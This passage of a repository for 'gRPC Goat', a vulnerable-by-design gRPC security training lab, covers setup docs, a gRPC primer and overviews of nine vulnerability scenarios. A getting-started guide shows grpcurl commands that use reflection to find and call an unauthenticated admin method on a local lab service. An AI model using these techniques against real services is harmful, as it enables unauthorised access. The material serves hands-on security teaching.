├── LICENSE
├── Labs.md
├── README.md
├── docker-compose.yaml
├── docs
├── getting-started.mdx
├── grpc-basics.mdx
├── grpc_goat_comp.webp
├── lab-vs-realworld-vulnerabilities.md
├── labs.mdx
└── walkthrough.mdx
├── grpc_goat_comp.webp
├── labs
├── grpc-001-reflection-enabled
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── service_discovery.proto
├── grpc-002-plaintext-grpc
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── auth.proto
├── grpc-003-insecure-tls
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── billing.proto
├── grpc-004-arbitary-mtls
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── partner.proto
├── grpc-005-arbitary-mtls-withsubject
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── partner.proto
├── grpc-006-pipe-world-read-write
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── admin.proto
├── grpc-007-sql-injection
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── user_directory.proto
├── grpc-008-grpc-command-injection
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ │ ├── go.mod
│ │ ├── main.go
│ │ └── proto
│ │ └── file_processor.proto
└── grpc-009-ssrf
│ ├── Dockerfile
│ ├── Readme.md
│ └── server
│ ├── go.mod
│ ├── main.go
│ └── proto
│ └── image_preview.proto
└── protos
├── README.md
├── lab-002-auth.proto
├── lab-003-billing.proto
├── lab-004-partner.proto
├── lab-005-partner-v2.proto
├── lab-006-admin.proto
├── lab-007-user-directory.proto
├── lab-008-file-processor.proto
└── lab-009-image-preview.proto
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Jeya Seelan
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Labs.md:
--------------------------------------------------------------------------------
1 | | # | Service Name | Business Purpose | Vulnerability | Risk / Impact |
2 | |---|--------------|------------------|---------------|---------------|
3 | | 001 | Service Discovery | Internal API registry for developers | Reflection enabled | Attackers can enumerate all gRPC services and hidden methods, discovering sensitive endpoints like admin functions |
4 | | 002 | Auth Service | Handles user login and session tokens | Plaintext gRPC | Credentials sent over plaintext can be intercepted and reused by attackers |
5 | | 003 | Billing Service | Processes customer payments | Insecure TLS | Self-signed TLS allows MITM attacks and interception/manipulation of transactions |
6 | | 004 | Partner API | Exposes partner integrations | Arbitrary mTLS | Accepts any client certificate, letting attackers impersonate trusted partners and access restricted APIs |
7 | | 005 | Partner API v2 | Enhanced partner integrations | mTLS Subject Validation | Validates subject name but accepts self-signed certificates, allowing certificate impersonation |
8 | | 006 | Admin Service | System administration functions | Unix Socket World Writable | Socket with world read/write permissions allows any user to access admin functions |
9 | | 007 | User Directory | Stores employee profiles and permissions | SQL Injection | Unsanitized database queries allow attackers to exfiltrate sensitive data (users, credentials, API keys) |
10 | | 008 | File Processor | Processes uploaded files for reports | Command Injection | Unsanitized input allows attackers to execute arbitrary system commands on the server |
11 | | 009 | Image Preview | Fetches thumbnails from external URLs | SSRF | Attackers can make the server request internal resources, potentially accessing metadata or internal endpoints |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # gRPC Goat
2 |
3 | gRPC Goat is a "Vulnerable by Design" lab created to provide an interactive, hands-on playground for learning and practicing gRPC security.
4 |
5 | Each lab contains a **CTF-style flag** that you can capture by successfully exploiting the vulnerability!
6 |
7 | 
8 |
9 | ## Quick Start
10 |
11 | ```bash
12 | # Clone the repository
13 | git clone https://github.com/rootxjs/grpc-goat.git
14 | cd grpc-goat
15 |
16 | # Start all vulnerable services
17 | docker compose up --build
18 |
19 | # Services will be available on localhost:8001-8009
20 | ```
21 |
22 | ## Documentation
23 |
24 | For complete documentation, installation guides, and step-by-step walkthroughs, visit:
25 |
26 | **📖 [https://rootxjs.github.io/docs/grpc_goat_docs/getting-started/](https://rootxjs.github.io/docs/grpc_goat_docs/getting-started/)**
27 |
28 | The documentation includes:
29 | - **gRPC Basics** - Essential concepts and security fundamentals
30 | - **Labs Overview** - All 9 vulnerability scenarios with learning paths
31 | - **Installation Guide** - Detailed setup instructions and troubleshooting
32 | - **Walkthrough** - Step-by-step exploitation guides with code examples
33 |
34 | ## Labs Overview
35 |
36 | | Lab | Vulnerability | Port |
37 | |-----|---------------|------|
38 | | 001 | gRPC Reflection Enabled | 8001 |
39 | | 002 | Plaintext gRPC | 8002 |
40 | | 003 | Insecure TLS | 8003 |
41 | | 004 | Arbitrary mTLS | 8004 |
42 | | 005 | mTLS Subject Validation | 8005 |
43 | | 006 | Unix Socket World Writable | container |
44 | | 007 | SQL Injection | 8007 |
45 | | 008 | Command Injection | 8008 |
46 | | 009 | Server-Side Request Forgery | 8009 |
47 |
48 | ## Prerequisites
49 |
50 | - Docker and Docker Compose
51 | - grpcurl: `go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest`
52 |
53 | ## Proto Files
54 |
55 | For labs 002-009, you'll need the corresponding `.proto` files to interact with the services. All proto files are available in the `protos/` directory:
56 |
57 | ```bash
58 | # Example: Test Lab 002 with grpcurl
59 | grpcurl -plaintext -proto protos/lab-002-auth.proto \
60 | -d '{"username": "admin", "password": "password"}' \
61 | localhost:8002 auth.AuthService/Login
62 | ```
63 |
64 | See `protos/README.md` for detailed usage instructions.
65 |
66 | ## Contributing
67 |
68 | Contributions are welcome! Please see the documentation website for contribution guidelines.
69 |
70 | ## License
71 |
72 | This project is licensed under the MIT License - see the LICENSE file for details.
73 |
--------------------------------------------------------------------------------
/docker-compose.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | # Lab 001: gRPC Reflection Enabled
3 | grpc-001:
4 | build:
5 | context: ./labs/grpc-001-reflection-enabled
6 | dockerfile: Dockerfile
7 | ports:
8 | - "8001:8001"
9 | container_name: grpc-goat-001
10 | networks:
11 | - grpc-goat-network
12 |
13 | # Lab 002: Plaintext gRPC
14 | grpc-002:
15 | build:
16 | context: ./labs/grpc-002-plaintext-grpc
17 | dockerfile: Dockerfile
18 | ports:
19 | - "8002:8002"
20 | container_name: grpc-goat-002
21 | networks:
22 | - grpc-goat-network
23 |
24 | # Lab 003: Insecure TLS
25 | grpc-003:
26 | build:
27 | context: ./labs/grpc-003-insecure-tls
28 | dockerfile: Dockerfile
29 | ports:
30 | - "8003:8003"
31 | container_name: grpc-goat-003
32 | networks:
33 | - grpc-goat-network
34 |
35 | # Lab 004: Arbitrary mTLS
36 | grpc-004:
37 | build:
38 | context: ./labs/grpc-004-arbitary-mtls
39 | dockerfile: Dockerfile
40 | ports:
41 | - "8004:8004"
42 | container_name: grpc-goat-004
43 | networks:
44 | - grpc-goat-network
45 |
46 | # Lab 005: mTLS with Subject Validation
47 | grpc-005:
48 | build:
49 | context: ./labs/grpc-005-arbitary-mtls-withsubject
50 | dockerfile: Dockerfile
51 | ports:
52 | - "8005:8005"
53 | container_name: grpc-goat-005
54 | networks:
55 | - grpc-goat-network
56 |
57 | # Lab 006: Unix Socket World Writable
58 | grpc-006:
59 | build:
60 | context: ./labs/grpc-006-pipe-world-read-write
61 | dockerfile: Dockerfile
62 | container_name: grpc-goat-006
63 | volumes:
64 | - /tmp/grpc-goat-006:/tmp
65 | networks:
66 | - grpc-goat-network
67 |
68 | # Lab 007: SQL Injection
69 | grpc-007:
70 | build:
71 | context: ./labs/grpc-007-sql-injection
72 | dockerfile: Dockerfile
73 | ports:
74 | - "8007:8007"
75 | container_name: grpc-goat-007
76 | networks:
77 | - grpc-goat-network
78 |
79 | # Lab 008: Command Injection
80 | grpc-008:
81 | build:
82 | context: ./labs/grpc-008-grpc-command-injection
83 | dockerfile: Dockerfile
84 | ports:
85 | - "8008:8008"
86 | container_name: grpc-goat-008
87 | networks:
88 | - grpc-goat-network
89 |
90 | # Lab 009: SSRF
91 | grpc-009:
92 | build:
93 | context: ./labs/grpc-009-ssrf
94 | dockerfile: Dockerfile
95 | ports:
96 | - "8009:8009"
97 | container_name: grpc-goat-009
98 | networks:
99 | - grpc-goat-network
100 |
101 | networks:
102 | grpc-goat-network:
103 | driver: bridge
--------------------------------------------------------------------------------
/docs/getting-started.mdx:
--------------------------------------------------------------------------------
1 | ---
2 | title: 'Installation & Getting Started'
3 | description: 'Set up your gRPC Goat lab environment and run your first vulnerability test'
4 | order: 3
5 | ---
6 |
7 | import { Aside } from 'astro-pure/user'
8 |
9 | # Installation & Getting Started
10 |
11 | Welcome to gRPC Goat! This guide will help you set up your lab environment and run your first vulnerability test.
12 |
13 |
16 |
17 | 
18 |
19 | ## Prerequisites
20 |
21 | Before you begin, ensure you have the following tools installed on your system:
22 |
23 | ### Required Tools
24 |
25 | 1. **Docker & Docker Compose**
26 | - Docker Engine 20.10+ or Docker Desktop
27 | - Docker Compose V2 (comes with Docker Desktop)
28 | - [Download Docker](https://docs.docker.com/get-docker/)
29 |
30 | 2. **grpcurl** (for testing gRPC services)
31 | ```bash
32 | # Install via Go
33 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
34 |
35 | # Or via Homebrew (macOS)
36 | brew install grpcurl
37 |
38 | # Or via package manager (Ubuntu/Debian)
39 | sudo apt-get install grpcurl
40 |
41 | # Or download binary from GitHub releases
42 | # https://github.com/fullstorydev/grpcurl/releases
43 | ```
44 |
45 | 3. **Protocol Buffer Files** (for labs 002-009)
46 | - All required `.proto` files are provided in the `protos/` directory
47 | - Lab 001 uses gRPC reflection, so no proto file is needed
48 | - See `protos/README.md` for usage instructions
49 |
50 | ### Additional gRPC Testing Tools
51 |
52 | **Command Line Tools:**
53 | - **grpcurl** - Command-line tool for interacting with gRPC services
54 | - **ghz** - gRPC benchmarking and load testing tool
55 | - **evans** - Interactive gRPC client with REPL interface
56 |
57 | **GUI Applications:**
58 | - **Postman** - Popular API client with gRPC support (v8.5.0+)
59 | - **BloomRPC** - Cross-platform gRPC client with GUI interface
60 | - **Kreya** - Modern gRPC and REST API client
61 | - **Insomnia** - API client with gRPC support
62 |
63 | ### Optional Tools
64 |
65 | - **Go 1.21+** (if you want to build from source)
66 | - **Git** (for cloning the repository)
67 |
68 | ## Installation
69 |
70 | ### Option 1: Clone from GitHub (Recommended)
71 |
72 | ```bash
73 | # Clone the repository
74 | git clone https://github.com/rootxjs/grpc-goat.git
75 | cd grpc-goat
76 |
77 | # Verify the setup
78 | ls labs/ # Should show 9 lab directories
79 | ```
80 |
81 | ### Option 2: Download Release
82 |
83 | Download the latest release from the [GitHub releases page](https://github.com/rootxjs/grpc-goat/releases) and extract it.
84 |
85 | ## Quick Commands
86 |
87 | ### Start All Labs at Once
88 |
89 | ```bash
90 | # Start all 9 vulnerable services
91 | docker compose up --build
92 |
93 | # Run in background (detached mode)
94 | docker compose up --build -d
95 |
96 | # View logs
97 | docker compose logs -f
98 | ```
99 |
100 | ### Start Individual Labs
101 |
102 | ```bash
103 | # Example: Start only Lab 001 (gRPC Reflection)
104 | cd labs/grpc-001-reflection-enabled
105 | docker build -t grpc-001 .
106 | docker run -p 8001:8001 grpc-001
107 | ```
108 |
109 | ## Service Endpoints
110 |
111 | Once running, the labs will be available on the following ports:
112 |
113 | | Lab | Service | Port | Description |
114 | |-----|---------|------|-------------|
115 | | **001** | Service Discovery | `localhost:8001` | gRPC Reflection vulnerability |
116 | | **002** | Auth Service | `localhost:8002` | Plaintext gRPC communications |
117 | | **003** | Billing Service | `localhost:8003` | Insecure TLS implementation |
118 | | **004** | Partner API | `localhost:8004` | Arbitrary mTLS acceptance |
119 | | **005** | Partner API v2 | `localhost:8005` | mTLS with subject validation bypass |
120 | | **006** | Admin Service | `grpc-006 container` | Unix socket with world permissions |
121 | | **007** | User Directory | `localhost:8007` | SQL injection vulnerability |
122 | | **008** | File Processor | `localhost:8008` | Command injection vulnerability |
123 | | **009** | Image Preview | `localhost:8009` | Server-Side Request Forgery (SSRF) |
124 |
125 | ## Your First Lab: Lab 001 - gRPC Reflection
126 |
127 | Let's walk through your first vulnerability test to ensure everything is working correctly.
128 |
129 | ### Step 1: Start Lab 001
130 |
131 | ```bash
132 | # Start Lab 001 specifically
133 | docker compose up grpc-001 --build
134 | ```
135 |
136 | Wait for the message: `gRPC server listening on :8001`
137 |
138 | ### Step 2: Test the Service
139 |
140 | ```bash
141 | # Discover available services (this is the vulnerability!)
142 | grpcurl -plaintext localhost:8001 list
143 |
144 | # Expected output:
145 | # grpc.reflection.v1alpha.ServerReflection
146 | # servicediscovery.ServiceDiscovery
147 | ```
148 |
149 | ### Step 3: Exploit the Vulnerability
150 |
151 | ```bash
152 | # List methods in the service
153 | grpcurl -plaintext localhost:8001 list servicediscovery.ServiceDiscovery
154 |
155 | # Expected output:
156 | # servicediscovery.ServiceDiscovery.AdminListAllServices
157 | # servicediscovery.ServiceDiscovery.ListServices
158 | ```
159 |
160 | ### Step 4: Capture Your First Flag
161 |
162 | ```bash
163 | # Call the hidden admin method
164 | grpcurl -plaintext -d '{"admin_token": "fake"}' \
165 | localhost:8001 servicediscovery.ServiceDiscovery/AdminListAllServices
166 | ```
167 |
168 | **Congratulations!** You should see a response containing your first flag: `GRPC_GOAT{reflection_enabled_service_discovery}`
169 |
170 | ## Testing Other Labs
171 |
172 | For labs 002-009, you'll need to use the corresponding proto files from the `protos/` directory:
173 |
174 | ```bash
175 | # Example: Lab 002 - Auth Service
176 | grpcurl -plaintext -proto protos/lab-002-auth.proto \
177 | -d '{"username": "admin", "password": "password"}' \
178 | localhost:8002 auth.AuthService/Login
179 |
180 | # Example: Lab 007 - SQL Injection
181 | grpcurl -plaintext -proto protos/lab-007-user-directory.proto \
182 | -d '{"username": "admin"}' \
183 | localhost:8007 userdirectory.UserDirectory/SearchUsers
184 | ```
185 |
186 |
189 |
190 | ## Next Steps
191 |
192 | Now that you have your environment set up and have captured your first flag:
193 |
194 | 1. **Learn gRPC Fundamentals**: If you're new to gRPC, check out the [gRPC Basics](/docs/grpc_goat_docs/grpc-basics) guide
195 | 2. **Explore More Labs**: Check out the [Labs Overview](/docs/grpc_goat_docs/labs) to see all 9 vulnerabilities
196 | 3. **Follow the Walkthrough**: Use the [Walkthrough Guide](/docs/grpc_goat_docs/walkthrough) for step-by-step exploitation instructions
197 | 4. **Learn the Mitigations**: Each lab includes security best practices to prevent these vulnerabilities
198 | 5. **Practice with Different Tools**: Try using Postman, BloomRPC, or other gRPC clients to interact with the services
199 |
200 |
203 |
204 | Ready to dive deeper? Head to the [Walkthrough Guide](/docs/grpc_goat_docs/walkthrough) to learn how to exploit all 9 vulnerabilities!
205 |
--------------------------------------------------------------------------------
/docs/grpc-basics.mdx:
--------------------------------------------------------------------------------
1 | ---
2 | title: 'gRPC Basics'
3 | description: 'Essential gRPC concepts, security fundamentals, and learning resources'
4 | order: 1
5 | ---
6 |
7 | import { Aside } from 'astro-pure/user'
8 |
9 | # gRPC Basics
10 |
11 | This guide covers the fundamental concepts of gRPC that you need to understand before diving into the security labs. Whether you're new to gRPC or need a refresher, this section will provide the foundation for understanding the vulnerabilities demonstrated in gRPC Goat.
12 |
13 | ## What is gRPC?
14 |
15 | gRPC (gRPC Remote Procedure Calls) is a modern, open-source, high-performance RPC framework developed by Google. It uses HTTP/2 for transport, Protocol Buffers as the interface description language, and provides features like authentication, bidirectional streaming, flow control, blocking or nonblocking bindings, and cancellation and timeouts.
16 |
17 | ### Key Advantages
18 |
19 | - **High Performance**: Built on HTTP/2 with binary serialization
20 | - **Language Agnostic**: Supports multiple programming languages
21 | - **Streaming Support**: Bidirectional streaming capabilities
22 | - **Strong Typing**: Protocol Buffers provide type safety
23 | - **Built-in Security**: Native TLS support and authentication mechanisms
24 |
25 | ## Core Concepts
26 |
27 | ### Protocol Buffers (protobuf)
28 |
29 | Protocol Buffers are a language-neutral, platform-neutral extensible mechanism for serializing structured data. They define service contracts and message formats, and generate client and server code in multiple languages.
30 |
31 | **Example Service Definition:**
32 | ```protobuf
33 | syntax = "proto3";
34 |
35 | package userservice;
36 |
37 | service UserService {
38 | rpc GetUser(GetUserRequest) returns (GetUserResponse);
39 | rpc ListUsers(ListUsersRequest) returns (stream User);
40 | rpc CreateUser(CreateUserRequest) returns (CreateUserResponse);
41 | }
42 |
43 | message GetUserRequest {
44 | string user_id = 1;
45 | }
46 |
47 | message GetUserResponse {
48 | User user = 1;
49 | bool success = 2;
50 | string message = 3;
51 | }
52 |
53 | message User {
54 | string id = 1;
55 | string name = 2;
56 | string email = 3;
57 | repeated string roles = 4;
58 | }
59 | ```
60 |
61 | ### Communication Patterns
62 |
63 | gRPC supports four types of service methods:
64 |
65 | **Unary RPC**
66 | - Single request, single response
67 | - Most common pattern, similar to HTTP REST calls
68 | ```protobuf
69 | rpc GetUser(GetUserRequest) returns (GetUserResponse);
70 | ```
71 |
72 | **Server Streaming**
73 | - Single request, stream of responses
74 | - Useful for real-time data feeds
75 | ```protobuf
76 | rpc ListUsers(ListUsersRequest) returns (stream User);
77 | ```
78 |
79 | **Client Streaming**
80 | - Stream of requests, single response
81 | - Useful for uploading data or batch operations
82 | ```protobuf
83 | rpc CreateUsers(stream CreateUserRequest) returns (CreateUsersResponse);
84 | ```
85 |
86 | **Bidirectional Streaming**
87 | - Stream of requests and responses
88 | - Enables real-time communication
89 | ```protobuf
90 | rpc ChatStream(stream ChatMessage) returns (stream ChatMessage);
91 | ```
92 |
93 | ## Security Fundamentals
94 |
95 | Understanding gRPC security is crucial for both attacking and defending gRPC services. Here are the key security concepts:
96 |
97 | ### Transport Security
98 |
99 | **TLS/SSL Encryption**
100 | - Encrypts data in transit between client and server
101 | - Prevents eavesdropping and tampering
102 | - Should always be enabled in production
103 |
104 | **Mutual TLS (mTLS)**
105 | - Both client and server authenticate each other using certificates
106 | - Provides strong authentication for service-to-service communication
107 | - Requires proper certificate management
108 |
109 | ### Authentication Methods
110 |
111 | **Token-based Authentication**
112 | - JWT (JSON Web Tokens)
113 | - OAuth2 access tokens
114 | - API keys in metadata
115 |
116 | **Certificate-based Authentication**
117 | - Client certificates for mTLS
118 | - Certificate validation and trust chains
119 | - Certificate revocation handling
120 |
121 | ### Authorization
122 |
123 | **Role-based Access Control (RBAC)**
124 | - Define roles and permissions
125 | - Validate user roles before processing requests
126 | - Implement fine-grained access controls
127 |
128 | **Method-level Authorization**
129 | - Different permissions for different gRPC methods
130 | - Context-aware authorization decisions
131 | - Audit logging for access attempts
132 |
133 | ## Common Security Vulnerabilities
134 |
135 | The gRPC Goat labs demonstrate these common security issues:
136 |
137 | ### Configuration Issues
138 | - **gRPC Reflection Enabled**: Exposes service definitions in production
139 | - **Insecure TLS**: Self-signed certificates or weak configurations
140 | - **Improper mTLS**: Accepting any client certificate
141 |
142 | ### Authentication Bypasses
143 | - **Plaintext Communications**: No encryption for sensitive data
144 | - **Weak Certificate Validation**: Insufficient certificate checks
145 | - **Missing Authentication**: Unprotected admin endpoints
146 |
147 | ### Input Validation Failures
148 | - **SQL Injection**: Unsanitized database queries
149 | - **Command Injection**: Unsafe system command execution
150 | - **SSRF**: Unvalidated URL requests
151 |
152 | ### Infrastructure Misconfigurations
153 | - **Unix Socket Permissions**: World-writable sockets
154 | - **Network Exposure**: Services accessible from unintended networks
155 |
156 | ## Testing Tools
157 |
158 | ### Command Line Tools
159 |
160 | **grpcurl**
161 | - Command-line tool for interacting with gRPC services
162 | - Supports reflection, metadata, and various authentication methods
163 | ```bash
164 | # List services
165 | grpcurl -plaintext localhost:8080 list
166 |
167 | # Call a method
168 | grpcurl -plaintext -d '{"name": "John"}' localhost:8080 userservice.UserService/GetUser
169 | ```
170 |
171 | **ghz**
172 | - gRPC benchmarking and load testing tool
173 | - Useful for performance testing and stress testing
174 | ```bash
175 | # Load test a service
176 | ghz --insecure --proto user.proto --call userservice.UserService.GetUser \
177 | -d '{"user_id": "123"}' localhost:8080
178 | ```
179 |
180 | **evans**
181 | - Interactive gRPC client with REPL interface
182 | - Great for exploring services and testing during development
183 | ```bash
184 | # Start interactive session
185 | evans --host localhost --port 8080 --reflection
186 | ```
187 |
188 | ### GUI Applications
189 |
190 | **Postman**
191 | - Popular API client with gRPC support (v8.5.0+)
192 | - Visual interface for building and testing requests
193 | - Collection management and team collaboration
194 |
195 | **BloomRPC**
196 | - Cross-platform gRPC client with GUI interface
197 | - Simple and intuitive interface for gRPC testing
198 | - Supports reflection and custom metadata
199 |
200 | **Kreya**
201 | - Modern gRPC and REST API client
202 | - Advanced features for API testing and debugging
203 | - Environment management and scripting support
204 |
205 | **Insomnia**
206 | - API client with gRPC support
207 | - Plugin ecosystem and team features
208 | - GraphQL and REST support alongside gRPC
209 |
210 | ## Learning Resources
211 |
212 | ### Official Documentation
213 | - [gRPC Official Website](https://grpc.io/)
214 | - [gRPC Documentation](https://grpc.io/docs/)
215 | - [Protocol Buffers Guide](https://developers.google.com/protocol-buffers)
216 | - [gRPC Security Guide](https://grpc.io/docs/guides/security/)
217 |
218 | ### Security Resources
219 | - [gRPC Authentication](https://grpc.io/docs/guides/auth/)
220 | - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
221 | - [gRPC Security Best Practices](https://grpc.io/docs/guides/security/)
222 |
223 | ### Language-Specific Guides
224 | - [gRPC Go Tutorial](https://grpc.io/docs/languages/go/quickstart/)
225 | - [gRPC Python Tutorial](https://grpc.io/docs/languages/python/quickstart/)
226 | - [gRPC Java Tutorial](https://grpc.io/docs/languages/java/quickstart/)
227 | - [gRPC Node.js Tutorial](https://grpc.io/docs/languages/node/quickstart/)
228 | - [gRPC C# Tutorial](https://grpc.io/docs/languages/csharp/quickstart/)
229 |
230 | ### Community Resources
231 | - [gRPC GitHub Repository](https://github.com/grpc/grpc)
232 | - [gRPC Community](https://grpc.io/community/)
233 | - [Awesome gRPC](https://github.com/grpc-ecosystem/awesome-grpc)
234 |
235 |
238 |
239 | Ready to start learning about gRPC security? Head to the [Labs Overview](/docs/grpc_goat_docs/labs) to see all available vulnerability scenarios!
240 |
--------------------------------------------------------------------------------
/docs/grpc_goat_comp.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rootxjs/grpc-goat/4aefc57e9df44d75fb92c0f8a2537b54213c51b7/docs/grpc_goat_comp.webp
--------------------------------------------------------------------------------
/docs/lab-vs-realworld-vulnerabilities.md:
--------------------------------------------------------------------------------
1 | # Lab Exploitation vs. Real-World Vulnerabilities
2 |
3 | ## Overview
4 |
5 | This document addresses the important distinction between the simplified exploitation techniques used in gRPC Goat labs and the broader security implications of these vulnerabilities in real-world environments.
6 |
7 | ## The Discrepancy Explained
8 |
9 | ### What You Observed
10 |
11 | The walkthrough mentions sophisticated attack vectors (network sniffing, MITM attacks, certificate impersonation) but the actual lab exploits are more straightforward:
12 |
13 | - **Lab 002**: Uses `-plaintext` flag instead of demonstrating network traffic interception
14 | - **Lab 003**: Uses `-insecure` flag instead of performing actual MITM attacks
15 | - **Lab 004/005**: Creates self-signed certificates instead of demonstrating real partner impersonation
16 |
17 | ### Why This Approach Was Chosen
18 |
19 | 1. **Educational Focus**: Labs prioritize learning gRPC-specific vulnerabilities over complex network attacks
20 | 2. **Accessibility**: Students can complete labs without advanced networking knowledge or complex setups
21 | 3. **Time Efficiency**: Direct exploitation teaches core concepts faster
22 | 4. **Environment Constraints**: Setting up realistic MITM scenarios requires complex network configurations
23 |
24 | ## Lab vs. Real-World Impact Matrix
25 |
26 | | Lab | Lab Technique | Real-World Exploitation | Additional Risks |
27 | |-----|---------------|------------------------|------------------|
28 | | **002 - Plaintext** | Direct connection with `-plaintext` | Network packet capture, traffic analysis | Credential harvesting, session hijacking |
29 | | **003 - Insecure TLS** | Bypass validation with `-insecure` | Certificate spoofing, MITM proxy | Payment data theft, compliance violations |
30 | | **004 - Arbitrary mTLS** | Self-signed client cert | Partner credential theft, API impersonation | Supply chain attacks, data exfiltration |
31 | | **005 - Subject Validation** | Matching subject in fake cert | Advanced certificate forgery | Long-term persistent access |
32 |
33 | ## Enhanced Learning Suggestions
34 |
35 | ### For Instructors
36 |
37 | 1. **Add Real-World Context Sections**: Include explanations of how each vulnerability would be exploited in production
38 | 2. **Advanced Lab Variants**: Create optional advanced versions that demonstrate network-level attacks
39 | 3. **Threat Modeling Exercises**: Have students map lab vulnerabilities to real attack scenarios
40 |
41 | ### For Students
42 |
43 | 1. **Practice Network Analysis**: Use Wireshark to capture traffic during lab exercises
44 | 2. **Set Up MITM Scenarios**: Practice with tools like mitmproxy for TLS interception
45 | 3. **Study Attack Frameworks**: Learn how these vulnerabilities fit into frameworks like MITRE ATT&CK
46 |
47 | ### For Lab Environment
48 |
49 | 1. **Network Monitoring Labs**: Add optional exercises using tcpdump/Wireshark
50 | 2. **Certificate Authority Labs**: Demonstrate proper CA validation vs. self-signed certificates
51 | 3. **Production Simulation**: Create labs that simulate production network environments
52 |
53 | ## Recommended Documentation Improvements
54 |
55 | ### 1. Add "Real-World Impact" Sections
56 |
57 | For each lab, include a section explaining:
58 | - How the vulnerability would be exploited in production
59 | - What additional tools/techniques attackers would use
60 | - The broader business impact beyond the technical exploit
61 |
62 | ### 2. Create Attack Scenario Narratives
63 |
64 | Develop realistic attack scenarios that show:
65 | - Initial reconnaissance and discovery
66 | - Exploitation chain combining multiple vulnerabilities
67 | - Post-exploitation activities and persistence
68 |
69 | ### 3. Include Defense Perspectives
70 |
71 | Add sections covering:
72 | - How security teams would detect these attacks
73 | - Monitoring and alerting strategies
74 | - Incident response procedures
75 |
76 | ## Conclusion
77 |
78 | The current lab approach effectively teaches gRPC security fundamentals while remaining accessible to learners. The discrepancy between lab techniques and real-world attacks is intentional and pedagogically sound. However, adding context about real-world implications would enhance the educational value without compromising accessibility.
79 |
80 | The key is helping students understand that while they're using simplified exploitation techniques in the labs, the underlying vulnerabilities enable much more sophisticated attacks in production environments.
81 |
--------------------------------------------------------------------------------
/docs/labs.mdx:
--------------------------------------------------------------------------------
1 | ---
2 | title: 'Labs Overview'
3 | description: 'Comprehensive gRPC security vulnerabilities and attack scenarios'
4 | order: 2
5 | ---
6 |
7 | import { Aside } from 'astro-pure/user'
8 |
9 | # gRPC Goat Labs
10 |
11 | Welcome to the gRPC Goat vulnerability labs! Each lab demonstrates a specific security vulnerability commonly found in real-world gRPC applications. These hands-on exercises will help you understand both how to exploit these vulnerabilities and how to defend against them.
12 |
13 |
16 |
17 | 
18 |
19 | ## Vulnerability Overview
20 |
21 | The following table provides an overview of all available labs, their business context, and the security risks they demonstrate:
22 |
23 | | Lab | Service Name | Business Purpose | Vulnerability | Risk / Impact |
24 | |-----|--------------|------------------|---------------|---------------|
25 | | **001** | **Service Discovery** | Internal API registry for developers | **Reflection Enabled** | Attackers can enumerate all gRPC services and hidden methods, discovering sensitive endpoints like admin functions |
26 | | **002** | **Auth Service** | Handles user login and session tokens | **Plaintext gRPC** | Credentials sent over plaintext can be intercepted and reused by attackers |
27 | | **003** | **Billing Service** | Processes customer payments | **Insecure TLS** | Self-signed TLS allows MITM attacks and interception/manipulation of transactions |
28 | | **004** | **Partner API** | Exposes partner integrations | **Arbitrary mTLS** | Accepts any client certificate, letting attackers impersonate trusted partners and access restricted APIs |
29 | | **005** | **Partner API v2** | Enhanced partner integrations | **mTLS Subject Validation** | Validates subject name but accepts self-signed certificates, allowing certificate impersonation |
30 | | **006** | **Admin Service** | System administration functions | **Unix Socket World Writable** | Socket with world read/write permissions allows any user to access admin functions |
31 | | **007** | **User Directory** | Stores employee profiles and permissions | **SQL Injection** | Unsanitized database queries allow attackers to exfiltrate sensitive data (users, credentials, API keys) |
32 | | **008** | **File Processor** | Processes uploaded files for reports | **Command Injection** | Unsanitized input allows attackers to execute arbitrary system commands on the server |
33 | | **009** | **Image Preview** | Fetches thumbnails from external URLs | **SSRF** | Attackers can make the server request internal resources, potentially accessing metadata or internal endpoints |
34 |
35 | ## Lab Categories
36 |
37 | ### Discovery & Enumeration
38 | - **Lab 001**: Service Discovery - Learn how gRPC reflection can expose your entire API surface
39 |
40 | ### Authentication & Authorization
41 | - **Lab 002**: Auth Service - Understand the risks of plaintext gRPC communications
42 | - **Lab 004**: Partner API - Explore mTLS misconfigurations
43 | - **Lab 005**: Partner API v2 - Advanced certificate validation bypasses
44 |
45 | ### Transport Security
